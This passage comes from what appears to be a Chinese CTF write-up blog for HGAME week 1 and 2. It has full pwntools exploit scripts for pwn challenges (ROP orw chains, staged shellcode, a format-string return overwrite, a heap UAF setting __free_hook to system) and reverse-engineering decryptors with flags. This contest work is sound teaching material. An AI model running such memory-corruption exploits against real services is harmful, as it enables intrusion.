class="line">io.send(payload2)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">payload3 = p64(pop_rdi)+p64(<span class="number">0</span>)+p64(pop_rsi)+p64(bss+<span class="number">0x100</span>)+p64(pop_rdx)+p64(<span class="number">10</span>)+p64(read_)  \</span><br><span class="line">           +p64(pop_rdi)+p64(bss+<span class="number">0x100</span>)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx)+p64(<span class="number">0</span>)+p64(open_)  \</span><br><span class="line">           +p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(bss+<span class="number">0x100</span>)+p64(pop_rdx)+p64(<span class="number">0x100</span>)+p64(read_) \</span><br><span class="line">           +p64(pop_rdi)+p64(bss+<span class="number">0x100</span>)+p64(puts)</span><br><span class="line">io.send(payload3)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">payload4 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x100</span>+p64(bss-<span class="number">8</span>)+p64(leave_ret)*<span class="number">5</span></span><br><span class="line">io.send(payload4)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;./flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="simple-shellcode"><a href="#simple-shellcode" class="headerlink" title="simple_shellcode"></a>simple_shellcode</h4><p><code>checksec</code>看到保护全开，<code>seccomp-tools</code>看到禁用了<code>execve</code>，orw即可。</p><p>程序会使用<code>mmap</code>函数开辟一块可读可写可执行的空间，并且在读取后会跳到该位置执行<code>shellcode</code>，但是<code>read</code>的太小，因此我们可以在这一小段<code>shellcode</code>里面继续调用<code>read</code>函数对该区域进行大量写入，程序即可顺序执行orw</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-1.hgame.lwsec.cn&#x27;</span>,<span class="number">30159</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;shellcode:&#x27;</span>)</span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">/* read(fd=0, buf=0xcafe0000, nbytes=0x1000) */</span></span><br><span class="line"><span class="string">    xor ebx, ebx</span></span><br><span class="line"><span class="string">    mov ecx, 0xcafe0000</span></span><br><span class="line"><span class="string">    xor edx, edx</span></span><br><span class="line"><span class="string">    mov dh, 0x1000 &gt;&gt; 8</span></span><br><span class="line"><span class="string">    /* call read() */</span></span><br><span class="line"><span class="string">    push SYS_read /* 3 */</span></span><br><span class="line"><span class="string">    pop eax</span></span><br><span class="line"><span class="string">    int 0x80</span></span><br><span class="line"><span class="string">    &#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io, &#x27;b *0xcafe0000&#x27;)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"><span class="built_in">print</span>(shellcraft.read(<span class="number">0</span>,<span class="number">0xcafe0000</span>,<span class="number">0x1000</span>))</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">len</span>(asm(shellcode)))</span><br><span class="line">io.send(asm(shellcode))</span><br><span class="line"></span><br><span class="line">shellcode = <span class="string">b&#x27;A&#x27;</span>*<span class="number">16</span></span><br><span class="line">shellcode+=asm(shellcraft.read(<span class="number">0</span>,<span class="number">0xcafe0500</span>,<span class="number">0x10</span>))</span><br><span class="line">shellcode+=asm(shellcraft.<span class="built_in">open</span>(<span class="number">0xcafe0500</span>,<span class="number">0</span>,<span class="number">0</span>))</span><br><span class="line">shellcode+=asm(shellcraft.read(<span class="number">3</span>,<span class="number">0xcafe0500</span>,<span class="number">0x30</span>))</span><br><span class="line">shellcode+=asm(shellcraft.write(<span class="number">1</span>,<span class="number">0xcafe0500</span>,<span class="number">0x30</span>))</span><br><span class="line">io.send(shellcode)</span><br><span class="line">sleep(<span class="number">1</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;./flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h3 id="reverse"><a href="#reverse" class="headerlink" title="reverse"></a>reverse</h3><h4 id="test-your-IDA"><a href="#test-your-IDA" class="headerlink" title="test_your_IDA"></a>test_your_IDA</h4><p>用IDA打开即得flag</p><p><code>hgame{te5t_y0ur_IDA}</code></p><h4 id="easyasm"><a href="#easyasm" class="headerlink" title="easyasm"></a>easyasm</h4><p>记事本打开看到汇编，分析汇编可得程序逻辑为对每一位与 <code>0x33</code>进行异或，直接异或解密得到flag</p><p><code>hgame{welc0me_t0_re_wor1d!}</code></p><h4 id="easyenc"><a href="#easyenc" class="headerlink" title="easyenc"></a>easyenc</h4><p>IDA打开看到主要逻辑为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v5 = (*((_BYTE *)v10 + v3) ^ <span class="number">0x32</span>) - <span class="number">86</span>;<span class="comment">//对每一位进行改加密</span></span><br><span class="line">      *((_BYTE *)v10 + v3) = v5;</span><br><span class="line">      <span class="keyword">if</span> ( *((_BYTE *)v8 + v3) != v5 )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">if</span> ( ++v3 &gt;= <span class="number">41</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v6 = <span class="string">&quot;you are right!&quot;</span>;</span><br><span class="line">        <span class="keyword">goto</span> LABEL_8;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure></div><p>直接python解密</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">enc = [<span class="number">0x4</span>,<span class="number">0xff</span>,<span class="number">0xfd</span>,<span class="number">0x9</span>,<span class="number">0x1</span>,<span class="number">0xf3</span>,<span class="number">0xb0</span>,<span class="number">0x0</span>,<span class="number">0x0</span>,<span class="number">0x5</span>,<span class="number">0xf0</span>,<span class="number">0xad</span>,<span class="number">0x7</span>,<span class="number">0x6</span>,<span class="number">0x17</span>,<span class="number">0x5</span>,<span class="number">0xeb</span>,<span class="number">0x17</span>,<span class="number">0xfd</span>,<span class="number">0x17</span>,<span class="number">0xea</span>,<span class="number">0x1</span>,<span class="number">0xee</span>,<span class="number">0x1</span>,<span class="number">0xea</span>,<span class="number">0xb1</span>,<span class="number">0x5</span>,<span class="number">0xfa</span>,<span class="number">0x8</span>,<span class="number">0x1</span>,<span class="number">0x17</span>,<span class="number">0xac</span>,<span class="number">0xec</span>,<span class="number">0x1</span>,<span class="number">0xea</span>,<span class="number">0xfd</span>,<span class="number">0xf0</span>,<span class="number">0x5</span>,<span class="number">0x7</span>,<span class="number">0x6</span>]</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> enc:</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(((i+<span class="number">86</span>)%<span class="number">0x100</span>)^<span class="number">0x32</span>),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p><code>hgame{4ddit1on_is_a_rever5ible_0peration}</code></p><h4 id="a-cup-of-tea"><a href="#a-cup-of-tea" class="headerlink" title="a_cup_of_tea"></a>a_cup_of_tea</h4><p>程序为tea加密，但改了里面的delta，并且把加密时的<code>sum+=delta</code>改成了<code>sum-=delta</code></p><p>c脚本为：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">decrypt</span><span class="params">(<span class="type">unsigned</span> <span class="type">int</span>* v, <span class="type">unsigned</span> <span class="type">int</span>* k)</span> &#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> v0 = v[<span class="number">0</span>], v1 = v[<span class="number">1</span>], sum = <span class="number">0</span>, i;  <span class="comment">/* set up */</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> delta = <span class="number">0x543210dd</span>;                     <span class="comment">/* a key schedule constant */</span></span><br><span class="line">    sum -= delta*<span class="number">32</span>;   </span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> k0 = k[<span class="number">0</span>], k1 = k[<span class="number">1</span>], k2 = k[<span class="number">2</span>], k3 = k[<span class="number">3</span>];   <span class="comment">/* cache key */</span></span><br><span class="line">    <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">32</span>; i++) &#123;                         <span class="comment">/* basic cycle start */</span></span><br><span class="line">        v1 -= ((v0 &lt;&lt; <span class="number">4</span>) + k2) ^ (v0 + sum) ^ ((v0 &gt;&gt; <span class="number">5</span>) + k3);</span><br><span class="line">        v0 -= ((v1 &lt;&lt; <span class="number">4</span>) + k0) ^ (v1 + sum) ^ ((v1 &gt;&gt; <span class="number">5</span>) + k1);</span><br><span class="line">        sum += delta;</span><br><span class="line">    &#125;                                              <span class="comment">/* end cycle */</span></span><br><span class="line">    v[<span class="number">0</span>] = v0; v[<span class="number">1</span>] = v1;  </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> buf[<span class="number">9</span>] = &#123; <span class="number">0x2e63829d</span>,<span class="number">0xc14e400f</span>,<span class="number">0x9b39bfb9</span>,<span class="number">0x5a1f8b14</span>,<span class="number">0x61886dde</span>,<span class="number">0x6565c6cf</span>,<span class="number">0x9f064f64</span>,<span class="number">0x236a43f6</span>,<span class="number">0</span>&#125;;</span><br><span class="line">    <span class="type">unsigned</span> <span class="type">int</span> key[<span class="number">4</span>] = &#123; <span class="number">0x12345678</span>,<span class="number">0x23456789</span>,<span class="number">0x34567890</span>,<span class="number">0x45678901</span>&#125;;</span><br><span class="line"></span><br><span class="line">    decrypt(buf+<span class="number">4</span>+<span class="number">2</span>, key);</span><br><span class="line">    decrypt(buf+<span class="number">4</span>, key);</span><br><span class="line">    decrypt(buf + <span class="number">2</span>, key);</span><br><span class="line">    decrypt(buf, key);</span><br><span class="line">    <span class="built_in">puts</span>(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><code>hgame{Tea_15_4_v3ry_h3a1thy_drlnk}</code></p><h4 id="encode"><a href="#encode" class="headerlink" title="encode"></a>encode</h4><p>主要逻辑为：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; <span class="number">50</span>; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v4[<span class="number">2</span> * i] = v5[i] &amp; <span class="number">0xF</span>;</span><br><span class="line">    v4[<span class="number">2</span> * i + <span class="number">1</span>] = (v5[i] &gt;&gt; <span class="number">4</span>) &amp; <span class="number">0xF</span>;</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure></div><p>对每次结果及下一位和<code>0xf</code>进行与操作，每次加密两位</p><p>python脚本为</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">enc = [<span class="number">8</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="number">6</span>, <span class="number">0xD</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">0xB</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">0xE</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">0xF</span>, <span class="number">6</span>, <span class="number">4</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">9</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="number">7</span>,</span><br><span class="line"> <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="number">7</span>, <span class="number">9</span>, <span class="number">7</span>, <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">6</span>, <span class="number">0xF</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">1</span>, <span class="number">6</span>, <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">6</span>, <span class="number">7</span>,</span><br><span class="line"> <span class="number">5</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">0xF</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">0xE</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">6</span>, <span class="number">9</span>, <span class="number">6</span>, <span class="number">0xE</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">0xD</span>, <span class="number">7</span>, <span class="number">0</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="built_in">len</span>(enc),<span class="number">2</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">48</span>,<span class="number">126</span>):</span><br><span class="line">        <span class="keyword">if</span> j&amp;<span class="number">0xf</span> ==enc[i] <span class="keyword">and</span> (j&gt;&gt;<span class="number">4</span>)&amp;<span class="number">0xf</span> == enc[i+<span class="number">1</span>]:</span><br><span class="line">            <span class="built_in">print</span>(<span class="built_in">chr</span>(j),end=<span class="string">&#x27;&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p><code>hgame{encode_is_easy_for_a_reverse_engineer}</code></p><h2 id="week2"><a href="#week2" class="headerlink" title="week2"></a>week2</h2><h3 id="pwn-1"><a href="#pwn-1" class="headerlink" title="pwn"></a>pwn</h3><h4 id="YukkuriSay"><a href="#YukkuriSay" class="headerlink" title="YukkuriSay"></a>YukkuriSay</h4><p><code>checksec</code>看到只开了NX和canary</p><p>IDA打开，刚看到还是比较懵，只有一次格式化字符串的机会，要改got表的话后面没有执行的函数。之后发现可以泄露出libc偏移和栈地址，然后修改<code>vuln</code>函数返回地址为one_gadget即可</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(log_level = <span class="string">&#x27;debug&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-2.hgame.lwsec.cn&#x27;</span>,<span class="number">32483</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露出libc</span></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;say?\n&#x27;</span>)</span><br><span class="line">payload1 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x98</span></span><br><span class="line">io.send(payload1)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">14</span>+<span class="string">b&#x27;\x7c\x20AA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">14</span>+<span class="string">b&#x27;\x7c\x20AA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">14</span>+<span class="string">b&#x27;\x7c\x20AA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">14</span>+<span class="string">b&#x27;\x7c\x20AA&#x27;</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1ed5c0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;(Y/n)\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;y&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露出栈地址</span></span><br><span class="line">payload2 = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x100</span></span><br><span class="line">io.send(payload2)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;\x20&#x27;</span>*<span class="number">18</span>+<span class="string">b&#x27;\x7c\x20AAAAAA&#x27;</span>)</span><br><span class="line">ret = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">8</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;ret ===&gt; &#x27;</span>+<span class="built_in">hex</span>(ret))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;(Y/n)\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;y&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#one_gadget</span></span><br><span class="line">one_gadget = [<span class="number">0xe3afe</span>, <span class="number">0xe3b01</span>, <span class="number">0xe3b04</span>]</span><br><span class="line">payload3 = fmtstr_payload(<span class="number">8</span>,&#123;ret:(libcbase+one_gadget[<span class="number">1</span>])&#125;,write_size=<span class="string">&#x27;byte&#x27;</span>)</span><br><span class="line">io.send(payload3)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;(Y/n)\n&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;n&#x27;</span>)</span><br><span class="line">io.send(payload3)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="editable-note"><a href="#editable-note" class="headerlink" title="editable_note"></a>editable_note</h4><p><code>checksec</code>看到保护全开</p><p><code>delete</code>里面UAF，而且可以edit。思路很明显就是先通过unsorted bin泄露libc，然后one_gadget打hook，或者修改<code>__free_hook</code>为<code>system</code>，然后free掉存储<code>/bin/sh\x00</code>的堆块，虽然它是<code>libc-2.31.so</code>，但是<code>tcache</code>内堆块的key可以改掉。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;week-2.hgame.lwsec.cn&#x27;</span>,<span class="number">32037</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io, <span class="string">&#x27;set resolve-heap-via-heuristic on&#x27;</span>)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Exit\n&gt;&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">index,size</span>):</span><br><span class="line">    menu(<span class="number">1</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Size: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index,content</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Content: &#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;Index: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>):</span><br><span class="line">    add(i,<span class="number">0x90</span>)  <span class="comment">#0 1 2 3 4 5 6 7 8</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">8</span>):</span><br><span class="line">    delete(i)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libc</span></span><br><span class="line">show(<span class="number">7</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)) - <span class="number">0x1ecbe0</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">free_hook = libcbase + libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">sys = libcbase + libc.symbols[<span class="string">&#x27;system&#x27;</span>]</span><br><span class="line"></span><br><span class="line">edit(<span class="number">6</span>, p64(free_hook)+p64(<span class="number">0</span>))</span><br><span class="line">add(<span class="number">9</span>,<span class="number">0x90</span>)</span><br><span class="line">add(<span class="number">10</span>,<span class="number">0x90</span>)          <span class="comment">#free_hook块</span></span><br><span class="line">edit(<span class="number">10</span>,p64(sys))</span><br><span class="line">edit(<span class="number">0</span>,<span class="string">b&#x27;/bin/sh\x00&#x27;</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h4 id="fast-note"><a href="#fast-note" class="headerlink" title="fast_note"></a>fast_note</h4><p><code>checksec</code>看到保护只开了canary和NX</p><p><code>libc-2.23.so</code>没有tcache，IDA看到程序中没有edit功能，在添加堆块时会进行一次写。而且有一个UAF。</p><p>思路就是先泄露libc，然后fastbin attack打<code>__malloc_hook-0x23</code>，同时配合<code>__libc_realloc</code>函数调整栈帧，在<code>__realloc_hook</code>中填入one_gadget。</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 